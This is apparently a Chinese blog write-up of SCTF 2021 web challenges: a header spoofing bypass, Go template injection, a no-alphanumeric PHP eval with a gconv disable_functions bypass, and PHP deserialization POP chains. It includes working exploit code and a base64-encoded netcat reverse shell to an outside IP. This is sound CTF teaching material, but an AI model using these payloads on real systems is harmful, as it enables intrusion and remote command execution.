[NSSCTF][SCTF 2021]WEB复现

感谢NSSCTF提供复现环境

loginme

middleware.go

package middleware

import (
	"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
	return func(c *gin.Context) {
		if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
			c.AbortWithStatus(403)
			return
		}
		ip := c.ClientIP()
		if ip == "127.0.0.1" {
			c.Next()
		} else {
			c.AbortWithStatus(401)
		}
	}
}

route.go

	age := TargetUser.Age
	if age == "" {
		age, flag = c.GetQuery("age")
		if !flag {
			age = "forever 18 (Tell me the age)"
		}
	}

x-forwarded-forx-client-ip都被ban了,用 x-real-ip绕过检测

image-20220208221637489

接下来是go的模板注入

?id=0&age={{.Password}}

image-20220208222121457

rceme

  • 无参rce

  • bypass disable function

<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>

剩下符号:().:[]{}*%#@!~

剩余函数:

strlen
error_reporting
set_error_handler
create_function
preg_match
preg_replace
phpinfo
strstr
escapeshellarg
getenv
putenv
call_user_func
unserialize
var_dump
highlight_file
show_source
ini_get
end
apache_setenv
getallheaders

我们的目的是代码执行,可以利用create_function

这里逗号被过滤,为了传入参数,我们可以使用可变参数列表实现

在PHP 5.6以后,参数列表可以包括…,他表示函数接受可变数量的参数。参数将作为数组传递到给定的变量中

<?php
$args=['','}system("whoami");//'];
create_function(...$args);
?>

构造

create_function(...unserialize(end(getallheaders())))

传array(代码注入)反序列化变成两个参数传入create_function

create_funtion本质是语法解析的。可以直接注入eval

end — 将array的内部指针移动到最后一个单元并返回其值。    
getallheaders — 获取全部 HTTP 请求头信息

异或脚本:

def one(s):
    ss = ""
    for each in s:
        ss += "%" + str(hex(255 - ord(each)))[2:].upper()
    return f"[~{ss}][!%FF]("

while 1:
    a = input(":>").strip(")")
    aa = a.split("(")
    s = ""
    for each in aa[:-1]:
        s += one(each)
    s += ")" * (len(aa) - 1) + ";"
	print(s)

手动加

[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));

构造序列化内容

<?php
$arr=['','}eval($_POST["a"]);//'];
$str=serialize($arr);
echo $str;

image-20220210143453416

接下来绕过disable_functions

ByteCTF WP-无需mail bypass disable_functions

kali下创建

payload.c

#include <stdio.h>
#include <stdlib.h>

void gconv() {}

void gconv_init() {
  puts("pwned");
  system("bash -c '/readflag > /tmp/sna'");
  exit(0);
}

生成so文件

gcc payload.c -o payload.so -shared -fPIC 

再创建一个gconv-modules文件

module  PAYLOAD//    INTERNAL    ../../../../../../../../tmp/payload    2
module  INTERNAL    PAYLOAD//    ../../../../../../../../tmp/payload    2

将两个文件放到服务器上,开启http服务共享

python -m http.server 39543

利用 SplFileObjectpayload.sogconv-modules

a=$url="http://xx.xx.171.248:39543/payload.so";$file1=new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/payload.so','w');$file2->fwrite($a);
a=$url = "http://xx.xx.171.248:39543/gconv-modules";$file1 = new SplFileObject($url,'r');$a="";while(!$file1->eof()){$a=$a.$file1->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules','w');$file2->fwrite($a);

之后利用伪协议触发

a=putenv("GCONV_PATH=/tmp/");show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/payload.so");

进行读取

a=show_source("/tmp/sna");

image-20220210153835755

upload it 1

下载附件,composer.json中有两个组件,下载

image-20220212164452034

  • symfony string:Provides an object-oriented API to strings and deals with bytes, UTF-8 code points and grapheme clusters in a unified way。
  • opis closure:A library that can be used to serialize closures (anonymous functions) and arbitrary objects.

给了源码,存在一个文件上传点,可以将文件传入/tmp/sandbox/xxxx的一个目录,当我们指定了PATH变量就会将/tmp/sandbox/xxxx与PATH进行一次拼接,之后把上传的文件放入该目录。

尝试上传,发现能够进行目录穿越,但无法上传到/var/www/html

源码关键部分:

if (!empty($_POST['path'])) {
    $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];
    $upload_file = $upload_file_path."/".$file['name'];
} else {
    $upload_file_path = $_SESSION["upload_path"];
    $upload_file = $_SESSION["upload_path"]."/".$file['name'];
}
if (move_uploaded_file($file['tmp_name'], $upload_file)) {
    echo "OK! Your file saved in: " . $upload_file;
} else {
    echo "emm...Upload failed:(";
}

首先初始化的时候如果$_SESSION["upload_path"]为空则先设置$_SESSION["upload_path"]。然后进入到上面的代码,将$_SESSION["upload_path"]path进行拼接。

查看phpinfo发现session.save_path为no value即是默认的/tmp/sess_SESSIONID

考虑构造恶意session文件上传,之后利用反序列化执行恶意代码。利用之前组件中的__toString方法

最终POC如下:

<?php  
namespace Symfony\Component\String;  
class LazyString{  
     private $value;  
     public function __construct(){  
         require "../vendor/opis/closure/autoload.php";  
         $a = function(){system("cat /flag");};  
         $a = \Opis\Closure\serialize($a);  
         $b = unserialize($a);  
         $this->value=$b;  
     }  
}
print("upload_path|".serialize(new LazyString()));

upload it 2

思路和上题一样,不同的地方在于依赖中没有了opis/closure,不过题目中新增了一个sandbox类,里面的backdoor方法可以进行文件包含。

EXP:

<?php


namespace Symfony\Component\String{
    class LazyString{
        public $value;

        public function __construct($value){
            $this->value = $value;
        }
    }
}

namespace {
    class sandbox {
        public $evil;
        public function __construct(){
            $this->evil = "/flag";
        }
    }
    use Symfony\Component\String\LazyString;

    $value = [new sandbox,"backdoor"];

    $lazy = new LazyString($value);

    echo "upload_path |".serialize($lazy);

}

image-20220307085342106

ezosu

给了Dockerfile,其中有一处nginx反代和一个Imi框架的文件。

IndexController.php

if ($method === "POST") {
    Session::clear();
    $configData = $this->request->getParsedBody();
    foreach ($configData as $k => $v) {
        Session::set($k, $v);
    }
} else if ($method === "GET") {
    $configData = Session::get();
    if ($configData != null) {
        $res["value"] = $configData;
    } else {
        $res = [
            "msg" => "Not Find",
            "status" => "404",
            "value" => null
        ];
    }
}

session反序列化,考虑对session文件进行闭合

POC:

<?php
namespace Symfony\Component\String{
    class LazyString{
        public $value;
        public function __construct($value){
            $this->value=$value;
        }
    }
}

namespace PhpOption{
    final class LazyOption{
        public $callback;
        public $arguments;
        public function __construct($callback,$arguments){
            $this->callback=$callback;
            $this->arguments=$arguments;
        }
    }
}
namespace {
    use Symfony\Component\String\LazyString;
    $la = new LazyString([new PhpOption\LazyOption("system",array('echo$IFS$9cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMS4xMTcuMTcxLjI0OCAzOTU0MiA+L3RtcC9m|base64$IFS$9-d|sh')),"get"]);
    #docker没bash
    echo urlencode(serialize($la));
}

FUMO_on_the_Christmas_tree

用正则表达式提取出类名、方法名、类能调用到的成员变量的方法名,然后使用字典进行映射方便快速查找。然后以__destruct()方法为入口进行搜索,直到最后遇到readfile()方法。

import re
import base64

otov = {}
vtoo = {}
otoc = {}
ctoo = {}
otof = {}
ftoo = {}
otoa = {}
classes = {}

def trav(name, cls, al):
    if "fumo" in classes[name]:
        print("->".join(cls))
        print(f"start->{'->'.join(al)}->end",end="\n\n")
        return 1
    for call in otoc[name]:
        if call in ftoo.keys():
            next = ftoo[call]
            if next not in cls:
                trav(next, cls + [next], al+[otoa[name]])
    return 0

if __name__ == "__main__":
    with open("class.code") as f:
        text = f.read()
        res = re.findall("class[\w\W]+?}[\w\W]+?}", text)
        for i in res:
            name = re.findall("class (\w+)", i)[0]
            classes[name] = i
            fs = re.findall("public object (\$\w+?);", i)
            otov[name] = fs
            for fc in fs:
                vtoo[fc] = name
            calls = re.findall("\$this->\w+?->(\w+)\(", i)
            calls1 = []
            a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+)[)]?;", i)
            disable = ("md5", "sha1", "crypt", "ucfirst")
            for call in calls:
                ctoo[call] = name
                if len(a) == 0 and "crypt" not in i:
                        calls1.append(call)
                        otoa[name]=""
                else:
                    if len(a) == 0:
                        a = re.findall("@\$(\w+) = (\w+?)?[(]?\$(\w+), \'\w+?\'[)]?;", i)
                    if len(a)==1:
                        a = list(a[0])
                        if "crypt" in i:
                            a[1] = "crypt"
                    otoa[name] = a[1]
                    if a[0] == a[2] and (
                        a[1] != ""
                        and not (a[1] in disable and i.find(a[1]) < i.find(call))
                        or a[1] == ""):
                        calls1.append(call)
            calls2 = re.findall("@call_user_func\(\$this->\w+?, \[\'(\w+?)\' => \$\w+?]\);", i)
            if calls2:
                ctoo[name] = calls2[0]
                otoa[name] = ""
            otoc[name] = calls1 + calls2
            func = re.findall("function (\w+?)\(", i)[0]
            ftoo[func] = name
            otof[name] = func

            if func == "__call":
                calls = re.findall("=> '(\w+?)'", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\[\$this->\w+?, \$(\w+)?\]", i)[0]
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
            elif func == "__invoke":
                calls = re.findall("\$this->\w+?->(\w+?)\(", i)
                otoc[name] = calls
                ctoo[calls[0]] = name
                func = re.findall("\$key = base64_decode\('(.+?)'\);", i)[0]
                func = base64.b64decode(func.encode()).decode()
                otof[name] = func
                ftoo[func] = name
                otoa[name] = ""
        trav(ftoo["__destruct"], [ftoo["__destruct"]],[])

参考:

https://eastjun.top/2021/12/28/sctf2021/

http://www.yongsheng.site/2022/01/03/SCTF2021%20web/

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值